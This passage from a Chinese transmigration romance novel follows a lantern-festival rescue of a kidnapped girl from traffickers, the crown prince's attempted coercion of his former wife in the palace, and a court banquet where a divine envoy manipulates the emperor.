然而人头攒动影影绰绰,裴小侯爷踮脚伸头勉强瞧见了淳儿的背影,连忙回身去寻,却赶不上那人的脚步。
何附子见了,顿时急得跑下楼去寻人。
她既已经向玉儿承诺了会好好照顾淳儿,若是淳儿出了事情可如何是好。
“淳儿,淳儿!”
何附子拼命挤开人群焦急喊道,然而人群却如铜墙铁壁,如贯涌澎湃的水流,如何也无法划开口子。
忽而,一只有力的手掌按在她的肩膀上,搂着她的腰将她拉出了拥挤的人群。
*
赵玉屿捧着脸望向帝都灯火,摘星楼夜深风寒,却是极佳的观景台,满城的风景尽在眼底,漫天烟火绽如锦簇花团,人群点灯如星河如梦幻之境。
明月当空,夜风呼啸,即便来到这个世界许久,她依然喜欢这样的夜色。
又一簇烟花绽放,盛大如朝阳霞云,转而又如花树摇摇飘洒,赵玉屿惊喜道:“子桑,你快看!”
一扭头,就见子桑正抵着下巴望向她发呆。
赵玉屿面色微红:“你发什么呆呢?”
子桑的眼眸落在她的唇畔,依旧双眼失神没有回答,赵玉屿手指哈气飞快弹了下他的脑袋,子桑吃痛一声,才从发呆中回过神来。
“玉儿,怎么了?”
赵玉屿抿唇一笑:“你想什么呢。”
子桑揉了揉额头,坦然道:“想你啊。”
此话一出,倒是让赵玉屿有些不好意思,她搓了搓衣袖嘟囔道:“想我做什么?”
一只手抚过她的脸颊,月麟香的味道飘入鼻尖让赵玉屿心神微荡,下一秒,柔软湿热的唇瓣贴上她的唇。
这一次赵玉屿没有拒绝,没有羞涩,而是闭上眼睛,温柔回应这个吻。
明月高悬,幽香浮动,一切的缠绵缱绻皆在这一吻之中。
【滴——系统警告,出现异常,出现异常,请宿主阻止男女主相见,请宿主尽快阻止男女主相见。】
脑海中猝不及防的尖鸣警报声让赵玉屿猛然惊醒,推开子桑愕然问道:“什么情况?”
宋承嵘如今不是受了伤蜷曲在东宫闭门不出吗?
子桑对她突如其来的举动不解:“玉儿,怎么了?”
系统的电子音再次在脑海中传来:【宿主您好,任务线已自动更改,“宫宴重逢”更改为“灯会重逢”,男女主已出现在长街灯会,请宿主阻止男女主相遇。】
灯会重逢。
赵玉屿暗道糟糕,定是宋承嵘从宫里跑出来了,何附子和裴小侯爷也在街上,若是他们相遇了,那之前的努力不就都白费了吗!
她连忙拉着子桑道:“神使大人,咱们现在去长街玩吧。”
子桑眉头紧蹙:“好端端的为什么要去长街,那里人多拥堵,不如咱们这里赏景来得清净自在。”
赵玉屿急得拍腿:“哎呀,就是人多才有意思啊!”
就是人多才会出事啊!
小说里发展剧情经常就是在佳节灯会,不是男女主相遇就是整出各种事端幺蛾子,她怎么能大意忘记这种言情套路呢!
第99章
长风猎猎,帝都的长街犹如流萤荟萃,点点人影在灯火中摇曳。
赵玉屿望向人群焦急探察,子桑凝望着她焦灼的背影,不发一言。
怎么没人呢
赵玉屿四下寻找不到何附子的身影,却吸引来不少目光。
有人喊道:“快看,是神使大人!”
一瞬间,原本热闹的人群顿时齐齐抬头望向夜空,赵玉屿连忙缩回脑袋,暗道不好。
果然,众人皆跪地,朝拜声一声高过一声,犹如席卷的海浪。
赵玉屿小心翼翼探头望去,却见长街整齐的跪拜中有一人逆流而行,仓皇探寻,并未有闲情朝天空望来。
赵玉屿眼前一亮,那不是裴小侯爷吗!
既然裴小侯爷在这里,那何附子定然就在附近,赵玉屿连忙唤了小白落在暗处,子桑虽不知她要做什么,却也由了她去。
裴小侯爷提着灯笼正四下寻找何附子和淳儿的身影,就连听到神使临巡也顾不得理会。
忽而衣袖一紧,被人一把拽入了僻静的小巷中。
他心里惊异喊道:“谁!”
“是我是我。”
赵玉屿低声道,“裴小侯爷,咱们又见面了。”
见来人是赵玉屿,裴小侯爷松了口气,旋即却忽然想到什么一般急切道:“神使大人,玉儿姑娘,恳请你们帮帮忙,帮我找到附子和淳儿!大恩大德,没齿难忘!”
一听淳儿也不见了,赵玉屿眼眸微缩:“怎么回事?”
“我今晚本是同附子和淳儿一道出来游玩,但人群拥挤,我们和附子走散了,我原是拉着淳儿一道却找附子,刚瞧见附子在酒楼等我们
,可就在这时我感到手腕一痛被人撞开,淳儿也被冲散了,有个男人抱着淳儿离开,我去寻淳儿但人太多了没寻到,再一回头,附子也不在酒楼里。她定是瞧见了那淳儿被带走,去寻淳儿了!”
赵玉屿听到这话只觉得头疼,这可真是倒霉催的,三个人居然能同时走丢。
她瞧着裴小侯爷苍白的唇色和发红的眼眶,安慰道:“小侯爷您先别着急,我们会帮你找到淳儿的。你身上有淳儿和附子的东西吗?”
“有有有!”裴小侯爷连忙掏出一个虎娃娃的香囊和手帕,“这是淳儿一直随身携带的沙包,说是她阿娘给她做的,附子帮她改成了香囊,随身携带,方才我在地上捡到了!这个手帕是淳儿的。”
赵玉屿望向子桑,子桑眉梢微挑并不应话,漫不经心道:“我为什么要帮他。”
裴小侯爷抱拳行礼焦急道:“恳请神使大人寻回我妻子和女儿,在下日后必定日日为神使大人祈福。”
在渝州他是真真切切见过子桑操控动物的能力。帝都人员复杂,想要在人海茫茫中找到两个女子并不容易,而且此事不宜闹出大动静,否则众人口舌,对附子和淳儿的名声有损。
但时间拖得越久她们就越危险,尤其是淳儿,她心智残缺,又是被人抱走的,怕是遇到了人贩子,会遭遇什么难以想象。
但若子桑出手相助,应当很快就能悄无声息地找到两人。
子桑却嗤笑一声,撇过眼淡淡道:“我顶多活一年,用不着你祈福。”
他现在正生着闷气,原本他和玉儿月下互诉衷肠,正是情浓意暖之时很快就能成事,虽不知玉儿为何突然慌张,但如今看来便是为了这家子的破箩筐子事。
这让他如何能高兴。
子桑如今瞧见裴小侯爷就烦,怎么会愿意帮他找人,他巴不得那个淳儿和何附子都找不到才好呢,最好连这个裴小侯爷也一并消失了!
衣袖略紧,子桑垂眸望去,赵玉屿拉着他的衣袖,一双杏眸也满是祈求和希冀:“子桑大人,你就帮帮忙吧。”
子桑心头微跳,扭过头轻哼一声并不应她。
赵玉屿摇了摇他的衣袖接着道:“子桑大人,你看裴小侯爷急得都快哭了,他这一晚上媳妇女儿都丢了,也太惨了些,您就可怜可怜他,帮他把人找回来吧。”
子桑却难得的并未答应她的话,反而讥笑一声,冷嘲热讽贴脸开大:“怎么,什么阿猫阿狗掉了我都得帮忙找吗?又不是我媳妇女儿,连自己在意之人都护不住,直接找根绳子上吊勒死自己算了,没用的东西。”
裴小侯爷听到这话,虽然知道他是在讥讽自己,却也羞愧难当:“神使说得对,是我没照顾好附子和淳儿,我自己去找她们。”
见裴小侯爷急得头上的汗一层一层渗出来,撒腿就朝街上跑去寻人。
赵玉屿气得直接将子桑袖子一甩,既然撒娇卖萌他不愿意帮忙,那便只有诉诸暴力!
赵玉屿举起拳头,横眉竖眼道:“你帮不帮!”
子桑被她突如其来的蛮横变脸吓了一跳,身子忍不住一抖,震惊错愕地望向她,一脸的不可置信。
“你为了这几个傻子凶我?”
“我”
赵玉屿一噎,她还不是为了帮忙找人!
还有,何附子她们哪里傻了!
赵玉屿哼了一声,扭头就朝外面走,“你不帮忙就算了,我自己去找人!”
未走两步,胳膊就被人拉住,一股大力将她朝后拉扯,赵玉屿一笑,顺势扭身跌回子桑怀里搂住他的腰,仰头望向他:“帮不帮!”
子桑抱住她,咬牙切齿:“帮!不就找个人吗,什么大不了的事情。”
他吹响口哨,静谧小巷中不一会儿便探出十几只在月光下乌黑发亮的狗头。
*
没有,没有
没有人
急促的脚步声在小巷窄道中奔跑,裴小侯爷沿着长街遍处寻找,他将何附子可能去到的地方皆已寻遍,却无果而终。
淳儿的身影也并未见到,帝都太大,又都是殿台楼阁,高门私宅,他一人之力根本不可能寻到两人。
眼看已近子时,他喘喘而走,最终无力站定,只能打算派护卫挨家挨户寻人。
忽而一声犬吠从身旁掠过,裴小侯爷感到衣袖一紧,被大力撕扯开。
他下意识去查看衣袖,“啪嗒”一声,香囊和帕子皆掉在地上。
他连忙弯腰去捡,一道黑影闪过,地上的香囊和帕子转瞬便没了影子。
裴小侯爷一怔,抬眼望去,不远处,两只细长的黑狗正叼着东西,朝他看了一眼后便扭身离开,潜入偏僻暗巷之中。
裴小侯爷焦急喊道:“我的东西!”
他抬脚想要去追,下一瞬,十几只黑犬吠叫着如潮涌般从他身边跑过,跟随着那两只大狗散开在黑巷之中。
裴小侯爷缓缓停下脚步,这幅场景似曾相识,是当初在渝州所见。
第100章
犬吠声很快便四散开,在小巷偏道中此起彼伏,过了一会儿,原本那只叼着虎娃娃香囊的黑狗跑了回来,将香囊放回裴小侯爷的手中。
裴小侯爷有些不可置信:“找到了吗?”
那黑狗走到小巷前,见裴小侯爷没跟上来,摇着尾巴扭头朝裴小侯爷示意。
裴小侯爷见状顿时跟上前,一人一狗穿过错综复杂的小巷,来到一处偏僻的屋门前。
门前已经蹲着一只小黄狗,见了他们顿时低吠一声,朝门内嗅了嗅鼻子。
裴小侯爷不再疑惑,铛铛敲响了院门。
院门内传来一声粗狂蛮横的声音:“谁啊!”
裴小侯爷并不作答,只依旧敲着门。
屋里那人见敲门声不停,骂骂咧咧地走出来,打开门露出一张凶狠的刀疤脸:“你是啊!”
未来得及说完话,他就被裴小侯爷一脚猛踹在地,捂着心口半天起不来。
两只狗汪汪大叫着冲进院内一头朝屋里跑去,裴小侯爷同它们一道踹开门,就瞧见正被捆在柴房角落里的淳儿。
除了淳儿,柴房里还有其他几个孩子,望向突然闯入的男人蜷曲一处瑟瑟发抖。
“淳儿!”
裴小侯爷瞧见她欣喜道,蹲下身子查看她的周身,“有没有受伤?”
淳儿怔怔望向他,摇了摇头:“爹爹,我很好。”
这是淳儿第一次唤他爹爹,裴小侯爷喉咙哽咽,抱住她道:“对不起淳儿,是爹爹没有照顾好你。”
淳儿见他眼泛泪花,掏出怀中的手帕替他擦了擦眼泪:“爹爹不哭。”
忽而,她的目光微顿,直直望向门外。
突然犬声狂吠不止,裴小侯爷顺着淳儿的目光转头望去,白月之下,一道寒光当头劈来。
裴小侯爷下意识躲闪开,却因护着淳儿而被砍中了胳膊。
鲜血四溅,孩子们的尖叫哭喊声响彻屋院。
方才被踹到的人贩子拎着染血的长刀堵在门口,揉着心口骂道:“你娘的!居然敢偷袭老子,今日老子非宰了你下酒喝!”
裴小侯爷面色苍白,忍着胳膊传来的剧痛将淳儿护在身后冷声道:“天子脚下,岂容你放肆!”
那壮汉冷笑一声:“哼,老子赚的就是卖命钱,你既挡了我的财路,自然活不得!”
说罢,他挥刀砍来。
裴小侯爷左右躲闪间抽出一根粗棍侧挡住刀面,竟硬生生将那刀震开,旋即抬脚踹到那壮汉腰间,有一棍子捶在他手腕上。
那人贩子哀嚎一声,手上一痛长刀落地。
裴小侯爷又一棍子将他敲晕,正要揭开孩子们的粗绳,忽而门外传来一阵响动。
院门内又闯进来几人,见半截身子倒在门槛外的壮汉,顿时抄起院里的家伙冲进来。
这里本是人贩子老巢,其他几人都在街上捞孩子,只留了一个人守在院里看家。
如今见事出不妙,个个目露凶光,冲进柴房。
裴小侯爷虽然武功不错,但如今受了伤,这柴房又狭小,双拳难敌四手,他又怕伤到孩子们,一时为难。
眼看其中一人挥刀砍来,突然从屋外蹿出十几条狼狗,犹如黑雾飘烟飞身而入,满嘴獠牙死死咬住男人们的四肢和腿脚。
壮汉们声声惨叫,哀嚎着想要甩去狼狗。
裴小侯爷乘势捡起长刀,挥刀砍在他们身上,将他们踹出门外。
“噫”
门外,瞧着摔在脚边的几个男人,赵玉屿嫌弃地后退一步,而后又上前补上几脚。
妈的,人贩子就该枪毙!
裴小侯爷捂着胳膊走出柴门,见了赵玉屿两人,唇色苍白抱拳道:“多谢。”
赵玉屿摆了摆手:“不谢不谢,还好来得及时。”
裴小侯爷牵着淳儿,还是忍不住担心道:“淳儿找到了,为何附子那边却没有丝毫消息。”
提到何附子,赵玉屿神色微紧,旋即笑道:“你放心,既然淳儿都能找到,何姐姐自然也能找到。小侯爷,你如今受了伤,淳儿又受了惊吓,还是先带淳儿回府上等消息吧。何姐姐就交给我和神使大人。”
裴小侯爷却犹豫不决,赵玉屿接着道:“说不定何姐姐现在就已经回府上了呢?你不如先回去看看,便是何姐姐没回去,府上也需要你坐镇,防止今晚的事情惊动了其他人引起不必要的麻烦,损了何姐姐的清誉。放心,我和子桑大人会尽快找到何姐姐的。”
赵玉屿说得在理,又瞧着一旁呆呆愣愣的淳儿,裴小侯爷颔首抱拳,朝两人恳切道:“那就多谢二位相助了,今日之事裴某感激在心,今后若有用得到裴某的地方,裴某一定万死不辞!”
送走裴小侯爷后,赵玉屿叹了口气,面色暗沉。
方才赶来的路上系统提示音已经传来,他们来晚一步,何附子果真是被宋承嵘发现,如今已经强制带回东宫。
任务失败是小事,但若是让裴小侯爷知道此事,免不得直接冲进皇宫一场大闹,到时候事态就一发不可收拾了。
她必须得阻止原剧情,不能再让裴小侯爷惨死,何附子郁郁寡欢。
当下得先稳住裴小侯爷,然后尽快想办法将何附子从东宫捞出来。
忽而,叼着何附子手帕的黑狗跑进院子里,冲子桑汪汪叫了两声。
子桑眉梢微挑道:“何附子如今人在皇宫。”
赵玉屿叹了口气心中无奈,面上却装作惊讶道:“何姐姐怎么会在东宫呢?”
子桑瞥眸望向她意味深长道:“你不知道?”
赵玉屿神色一敛,笑道:“事发突然,我怎么会知道呢?”
“是吗?”子桑轻声问道,赵玉屿还想笑着糊弄过去,却见子桑眼神微冷:“撒谎。”
他冷沉的声调让赵玉屿心上微紧,只得继续装傻笑道:“子桑大人你在说什么?咱们不是一同来的吗?”
瞧着她晦涩不明的脸色,子桑轻飘道:“玉儿,你的嘴巴向来是会哄人撒谎的,可你的眼睛不会说谎。方才提及何附子在皇宫时,你虽佯装惊讶,但眼中平静没有丝毫错愕。”
赵玉屿面色一滞,旋即笑道:“何姐姐本就是小侯夫人,永定侯府夫人与宫中的柳贵妃妃乃是同胞姐妹,听闻柳贵妃膝下只有一个女儿,多年无子,难免郁郁。何姐姐又有一身医术,我只是觉得许是何姐姐被柳贵妃私自招进宫里,暗中调理身体也说不定。”
“是吗?”子桑又淡淡一句。
赵玉屿扬起笑脸:“当然了,神使大人,我只是想来灯会玩,方才见到裴小侯爷独自一人失魂落魄的难免起疑。”
子桑轻呵一声踱步走近赵玉屿,赵玉屿有些心虚,垂着眼后退,子桑却抵住她的脚尖一步一步,边靠近边徐徐说道:“玉儿,我虽懒得理会诸事,但不代表有些规矩我不懂。柳贵妃便是再求子心切,也不会越了侯府直接暗召何附子入宫,更不会私自将人掠去。更何况如今已经宫禁,除了圣上和太子,其他人不得随意出入宫门。柳贵妃在这时候召何附子入宫是在将把柄交到皇后手中,你觉得皇后会放过她吗?而且玉儿”
他顿了顿,接着道,“你突然要来看灯会,却又直接找到裴元若,对于何附子和淳儿走丢的消息不见意外,似乎早已知道会发生这一切。”
他抬头望了眼月亮缓缓道,“如今回想起当初宫宴,你在御花园假山处遇到的女子便是何附子吧。”
他望向赵玉屿,语气笃定:“你一直想阻止太子和何附子相见。”
100-110
第101章
“玉儿,你一直想阻止太子和何附子相见。”
赵玉屿心中一惊,没想到子桑仅仅凭借着几句话便拼凑出一切。
她眼眸微动,刚想出声辩解,子桑的食指却抵在了她的唇上。
他的语气轻柔却不容置疑:“玉儿,你知道的,别对我说谎。”
赵玉屿望向子桑,他的眼眸微暗,含着一丝久违的阴翳和荒凉,是对被欺瞒的不满和顾影自怜,仿佛赵玉屿做了多么伤天害理的事情。
赵玉屿顿了顿,到口的谎话还是咽了下去。
一个谎言总是需要其他的谎言来填补,但只要说出了谎言便会有漏洞,谎言越多,漏洞就会越多,最后一发不可收拾。
以子桑的聪慧和细腻,想要发现问题太容易了,自己根本没办法时刻警惕,打起精神来编织一个又一个的谎言应对他。
赵玉屿握住子桑的手缓缓道:“神使大人,你说得没错。我的确是想阻止何附子和太子见面,但是当初在御花园时却是无意而为。”
子桑眼神微闪,赵玉屿接着道:“我小时候有一次曾今见过太子的妾室,长相各个标致却莫名相似。后来也是无意间听大人们闲聊时提及过太子的癖好,当初只以为太子是喜好那种类型的女子,但他收集妾室的做法我却不喜甚至为耻。那天在御花园我瞧见何姐姐时,第一眼便觉得她同太子的那些妾室长得尤为相像。我当时不知道她是裴小侯爷的妻子,只担心她会被太子觊觎,所以便出言保护了她。可她的反应却十分奇怪,仿佛之前同太子相识。”
赵玉屿顿了顿,“后来在渝州,每每提到太子时,何姐姐的神色都很是落寞凄苦,我便更觉蹊跷。有次聊天时,何姐姐提及她曾嫁过一任丈夫,只是那丈夫五年前在新婚之时离家出走,之后便再无音讯。我突然想到太子曾被刺杀,在外流落一年有余,寻回之时正是五年前,之后便一直收集形容相似的妾室,而何附子对太子又避之不及,种种细节串在一块儿便觉真相。”
她说的话八分真两分假,同之前发生的一切倒也对得上,子桑眉梢微扬,却没放过她:“那今晚你是如何得知宋承嵘会同何附子相遇?”
赵玉屿眨了眨眼:“猜的。”
“猜的?”子桑显然不信。
赵玉屿解释道:“我是在想,今日本来奉仙宫宫宴,虽然取消了,但圣上龙颜大悦,圣谕普天同庆,皇宫的宫宴必定会大办一场。太子本就因先前渝州之灾和海难之事为人诟病,这个时候若他不在场恐怕会遭人非议。若太子去了宫宴,万一见到了何姐姐可怎么办?”
她叹了口气,“原本我也只是想阻拦何姐姐他们入宫,没成想她和裴小侯爷并未入宫,却在街上走丢了。而今你说她人在东宫,猜便也猜到了,必定是在街上遇到太子,被掠了去。”
她无奈道,“这两人也是孽缘,兜兜转转还是见了面。”
可不是,怎么就撞见了!
子桑对她的话虽不尽信,却也能自圆其说
:“那你想怎么做?”
赵玉屿一愣:“子桑大人。”
子桑双手环胸:“你不是信誓旦旦说何附子交给咱们来找吗?夸下的海口倒是忘了。”
见子桑居然愿意主动帮忙,赵玉屿眼眸中迸发出惊人光彩,笑眼弯弯,一把抱住他的胳膊仰头望向他,双眼含星追问道:“你如今是不是也觉得何姐姐和裴小侯爷人挺好的,他们之间的感情很真挚,很感人!是不是对这世上也有了羁绊,同何姐姐裴小侯爷他们也算是共患难的朋友,值得相助!是不是觉得这世界上还是有好人的,人生还是很美好的!”
对她的连环问子桑不置可否,扬起嘴角轻笑道:“有你就够了。”
只要有你在,你想做的事情我都会去做,你想完成的心愿就算拼尽全力我也会助你完成。
我要给你最好的一切,即便日后我不在你身边,但你会时时刻刻念着我的好,思我,爱我,将我刻在心扉永远铭记。
*
轻纱浮动,灯火摇摇,昏暗的烛光下,殿中的物品长影映墙,犹如扭曲狰狞的鬼影。
何附子坐在椅子里,平静望向眼前一脸眷恋情深的男人。
“附子,你同以前一样,丝毫没有改变。”
何附子扯起嘴角轻笑一声:“太子殿下,您的变化倒是分外的大。”
宋承嵘想要握住她的手,却被何附子躲开,他垂下眼眸缓缓道:“附子,我知道你还在怪我。当初不告而别是我的错,但回到帝都后我便后悔了,我去扶风镇找你,可那里已经没有你的身影,那时看着空荡荡的婚房我才知道自己失去了什么。这些年我一直在找你,可世上却仿佛没有了你的踪迹。”
见何附子面色冷淡,宋承嵘苦笑一声,“我知道,一切都是我的错。你不原谅我是应该的,但附子,我也有我的苦衷。那时候我的离开一是怕面对你,二来也是怕你跟着我会受到伤害。你还记得当初我们初见时我躺在雨夜里身受重伤吗?我虽身为太子,看似一人之下万人之上,实则却是表面风光,处处小心谨慎方才能在帝都这吃人的漩涡中活下去。”
他起身踱步道,“如今邪神当道,朝中奸佞丛生,父皇受邪狞蛊惑,终日荒废朝政,一心修道成仙。若我不能肩负大业,那大雍世代基业将毁于一旦。附子,你要理解我的难处。”
何附子起身望向他:“太子殿下,其实我早已不在恨你。”
宋承嵘听到这话眼眸发亮,上前一步想要牵起何附子的手,却再次被她避开。
何附子平淡道:“我只是一位大夫,平日所想便是治病救人。我不及您有雄图抱负,也考虑不到大雍的基业,更不会成为你登上皇位的助力。当初我的确怨恨过你的不告而别,但经历了这么多年这么多事,我早已看开了。世间并非只有情天恨海,人生还有许多事情可以做,你我本就是两个世界的人,当初相遇是缘分,我相信你真诚待过我,我也不后悔与你在一起的日子。但如今既然缘分已尽,倒也不必强求,从此一别两宽,各自安好。”
听到这话,宋承嵘却一把拉住她的胳膊:“不,若我们缘分已尽,如何又能再相见?附子,老天爷这是在告诉我们,我们可以再续前缘!我知道你怨我,没关系,我会等你,这次换我来等你,我会给你最好的一切,让你拥有原本就属于你的一切,让你成为全天下最尊贵的女人!”
何附子皱着眉甩开他的手,声音有些发冷:“太子殿下请自重。你我二人早已没有瓜葛,如今我已嫁为人妻,过去的事情便过去吧。你说这那些话,应当对太子妃说,而不是对别人的妻子。”
别人的妻子
这几个字刺痛了宋承嵘的神经,他再次抓住何附子的手腕,目光阴桀而哀叹:“附子,你是我的妻子,我们成过亲拜过堂入过洞房的!”
“可你也已经给了我和离书!”
何附子手腕被捏得生疼,倒吸一口凉气,宋承嵘连忙松了劲,却并未放开她的手,而是低下声音哽咽道,“附子,我知道你还在生我的气,我知道你埋怨我伤了你的心。我们可以重新开始,我会让你当我的妻子,让你成为未来的皇后。”
何附子却满目的平淡和无奈:“太子殿下,若你是因为觉得亏欠我而愧疚想要补偿,当真不必如此。我如今过得很好,我有了丈夫,还有一个女儿,日子平淡而舒适,我很满足,并不需要什么补偿。”
她的话句句平静却又字字如刀刺入宋承嵘的心脏,他艰难道:“你,你有了孩子。”
提到裴元若和淳儿,何附子目光微柔,笑道:“是,她很乖巧,我们一家三口的生活很幸福。所以太子殿下,您真的不需要愧疚。”
宋承嵘突然笑了一声,仿佛想要急切的证明:“没关系,我也可以将你的女儿当做亲生孩子来看待,日后我可以为她封地授爵,让她成为大雍的明珠。”
何附子见他如此执拗,叹了口气道:“太子殿下,您如今已有太子妃,你该爱护的是她。”
宋承嵘却道:“我爱的人只有你,我的妻子也只有你。”
何附子摇了摇头问道:“那好,若你要封我为皇后,那你的太子妃呢?你要置她于何地?”
宋承嵘信誓旦旦:“附子,你不必担心。我娶她只是联姻而已。等日后登基为帝,附子你先委屈一下,我会先立你为贵妃,等到时机成熟之时,再立你为皇后。”
“什么叫时机成熟?”
提到这,宋承嵘立直身子眉目冷然道:“许家乃是士族,在朝中根基深厚,不容小觑,待我彻底掌握大权,便不再需要受制于人。”
听到这话,何附子眼中原本的无奈变成了愕然,而后冷漠。
“太子殿下,不论您当初是为何求娶太子妃,太子妃既无过错,便该一心待她。若太子妃知晓她枕畔之人对自己和自己的亲人并无真情,只有满心算计,怕是也会寒了心。”
一想到日日同自己耳鬓厮磨的枕边人却是一心想着算计谋利,事成之后抛弃自己的中山狼,便令人不寒而栗。
这也让何附子突然意识到,或许当初那个陪伴在她身边,会为了百姓打抱不平、对自己贴心呵护的宋承嵘,从来都只是一个虚无的影子,早已随着奔向帝都的马蹄声散去,眼前的宋承嵘才是真正的他。
一个自己从来未曾了解的他。
宋承嵘却以为她是在怪罪自己,连忙道:“附子你放心,我对你是真心的,这个世上我只对你是真心的!从小我就知道自己的命运,知道自己应当同高门贵女联姻,为了天下,为了皇位牺牲一切。可是命运让我遇见了你,让我爱上了你,我克制不住的爱上你。因为爱你,所以这些年我一直活在痛苦和愧疚之中,每每午夜梦回我都在想,如果当初我没有离开,如果我带你一起回来该有多好。”
见他神色激动,何附子皱眉挣扎:“你放开我。”
“我不放,附子,我已经失去你一次了,我不会再放手了!”
宋承嵘紧紧抱住她,贪恋着她的气息,“附子,我知道你还在生我的气,我不求你的原谅,但你放心,以后我会加倍的对你好,弥补一切的。”
鬓发间暗香浮动,勾得宋承嵘心上也微微晃动,垂眸望向梦中日日浮现的唇瓣,情不自禁吻下去。
第102章
吻未落至,何附子已经偏头躲过,冷声道:“太子殿下,请自重。”
宋承嵘哀声问道:“附子,你难道忘了我们相伴时的情谊了吗?”
何附子淡漠道:“太子殿下,我已经说了,过去的事情便让它过去。如今我们各有婚配,私下相见本已于理不合,还请太子殿下放我出宫。”
宋承嵘听到这话却神色痛苦:“不,我做不到。我好不容易
才寻回了你,如何能再放手!附子,你放心,我以后一定会补偿你,对你好的!”
说罢他便要强行吻上。
“放开我!宋承嵘,你好歹是一国太子,如何能做出这种强迫臣妻的腌臜事!”
宋承嵘心中的嫉妒和悔恨更甚,再听不得半句拒绝:“我只知道你是我的妻子,以前是,现在是,将来也是!”
他边说边将何附子扛在肩上丢到床铺间便欺身而上。
何附子挣扎不及,拔下发簪刺向他。
宋承嵘闷哼一声,错愕又震惊地望着深深刺入肩胛的发簪,双眼猩红,深吸一口气反手拔下发簪道:“附子,你当真如此恨我?”
何附子以往动刀只为救人,如今是第一次伤人,强忍着惊畏道:“宋承嵘,我不恨你,我只是不想同你再有瓜葛,你放了我吧。”
宋承嵘听到这话却双眼红得更甚:“不,不行。如果放了你,我会痛不欲生。”
何附子见他如此执拗,无奈又气笑,忍不住道:“你这些年过得不也挺好的吗?万人至尊,妻妾成群,没见你痛不欲生,何必装作情深义重的痴情种。”
宋承嵘一愣,没想到何附子居然会说出这种话。印象里的何附子一直是温柔娴静,与世无争,虽倔强贞烈,但即便反抗也不与人说重话。
何附子话一出口也有些呆住了,她下意识说出的刻薄挖苦却是以前从不会说的。
细细想来,却是当初在渝州时玉儿经常闲聊八卦时在她耳畔义愤填膺说出的话。
但这话用在宋承嵘身上倒没有丝毫差错。
宋承嵘却对这话会错了意,苦涩道:“附子,你果然还在埋怨我。”
何附子当下也觉得这人怕是脑子坏掉了,如何都说不通。她心中有一种对牛弹琴的无力感,张了张口却连反驳的力气都生不出,只想尽快离开这令人窒息的地方。
见她不说话,宋承嵘却眼眸微亮,以为自己说对了何附子的心思,低声欣喜道:“所以附子,你其实还是爱我的,对不对,如果你不爱我,如何会埋怨我,恨我?”
何附子叹了口气,只觉得心中无力:“太子殿下,我真的不恨你了,你不要如此偏执。”
“不,我知道你恨我,你恨我所以才会想要离开我,你恨我所以才会嫁给别人。但是附子,我爱你,我至始至终爱的只有你!”
何附子目光渐冷,只觉可笑:“太子殿下,你如今所说此言,将太子妃放于何处?至少我并不会觉得感动,只觉得恶心。”
她的话字字锥心,宋承嵘张了张口艰难道:“附子”
门外传来太监的谨慎细语:“太子殿下,圣上相召,还请太子殿下移步承乾宫。”
听到这话,宋承嵘从床铺中起身,依旧柔情道:“附子,日后你便住在这里,我会派人好生照顾你。”
他整了了下弄皱的衣袖朝屋外走去。
关好屋门,宋承嵘转身望向传旨的小太监:“这么晚了,父皇找我何事?”
小太监垂首笑答:“回太子殿下,奴才不知。圣上的心思哪里是咱们这些奴才能知晓的,咱们只管传旨就是,还劳请太子殿下随奴才前去一趟。”
宋承嵘见状,回首望了眼紧闭的房门,朝一旁看守的刘焕吩咐道:“你留下,没有我的命令,任何人不得靠近这间屋子。”
“是。”
穿过道道高耸的宫墙,离很远便听到了歌舞朗笑声。
跨过宫门,宋承嵘随着小太监入了承乾宫。
一进宫殿便瞧见德仁帝坐在主座上开怀大笑,旁边子桑鸓胳膊抵在椅把上,正撑着脑袋。
见宋承嵘来了,德仁帝摆着手笑唤他:“礼儿来了,不必拘束,快坐吧。今日是私宴,神使不喜与外人相聚,便只与咱们父子俩相谈共饮,探讨道法。”
“是。”
宋承嵘依言坐在位置上,子桑却并未言语相迎,只朝后疏懒靠在椅背上,含笑望着他。那笑中满含讥讽和嘲弄。
德仁帝见他走路尚且有些不稳,关切道:“礼儿,如今伤势如何了?”
宋承嵘抱手行了一礼:“多谢父皇关心,儿臣已无大碍。”
“好!那便好!”
德仁帝感叹赞道:“不愧是朕的儿子,身强体健,男儿豪杰!”
子桑却忽而出言悠悠道:“地上皇如今之态,鹤骨松姿,云心月性,颇有仙风道气,本尊瞧着倒是比太子更甚一筹。”
德仁帝听到这话朗声大笑,心中极为舒坦,朝子桑感叹道:“神使啊,若是旁人说这话,朕只当是在哄骗朕,但您说这话必然是真心所想,朕颇为开怀!颇为开怀啊!”
他接着笑道,“说来也奇了,自从吃了那长生不老药,朕不仅容颜如昨,而且神清气爽,心潮澎湃,只觉得有使不完的劲,比年轻时更要精神啊!只是近日不知为何,却又没了那精神气,又是还有些困倦发闷。”
子桑缓缓道,“既是长生不老,身体自然非比常人。”他却又话音一转,目光瞥向宋承嵘,“只是圣上前些日子所中剧毒,虽然毒性及时化解,但地上皇您因此吐血,药力便会随着血液的流逝而消失,所以自然就不会如最初那般精神。”
德仁帝听到这话大惊:“神使,那若是血液流尽,朕不就又会变成耄耋老者。”
子桑坦言:“没错,您如今的每一滴血都极为珍贵。所以本尊先前才特意提醒您不可大意,如今本尊尚且未曾魂归天位尚且能相助,待将来您若是再中毒,可无人能救。还有刀伤,长生不老药只有医除百病、重焕青春的作用,却不能修复致命创伤。若是被割喉挖心,或者流血过多,药力便会随着血液的流逝而消失殆尽,您也就会因此丧命。”
而后,子桑捏着酒杯,状似不经意地飘然问道,“对了,您之后有寻到毒害您的刺客吗?”
德仁帝面色难看,看了一眼旁坐的宋承嵘,挤出一个笑容道:“是司教坊混入了异国的奸细,企图下毒谋害于朕,好在奸细都已清理。”
“是吗?”子桑轻笑一声,倒也不多言,只道,“既然如此,日后您可得好生爱惜身体,莫要再让小人有可乘之机。本尊凡尘历劫只余一年,日后可无人能护得了您了。”
德仁帝笑道:“神使放心,朕日后必定为神使立碑塑像,香火日日供奉不断,万世绵延。”
子桑指尖轻旋酒杯,与德仁帝隔空相敬:“只要圣上您长生不老,大雍便永远是大雍,万世如一。”
宋承嵘捏着酒杯的手青筋暴起,不置一词。
酒过三巡,月移枝头,宋承嵘才从承乾殿出来。
浓重夜色沉如黑潭,却比不过他的阴冷面色。
抚鹤神使的话分明明里暗里都是在挑拨离间,然而让他心寒的却是父皇的表现。
虽面上未曾明言,但经过毒杀一事,分明对他有了隔阂。他看自己的眼神,探究而冷漠,未曾有父子之情,唯独剩防备之心。
只要父皇在,万世如一,又何须他这个太子。
如今他这个太子的存在,与其说是大雍的未来,不如说是父皇的负担。
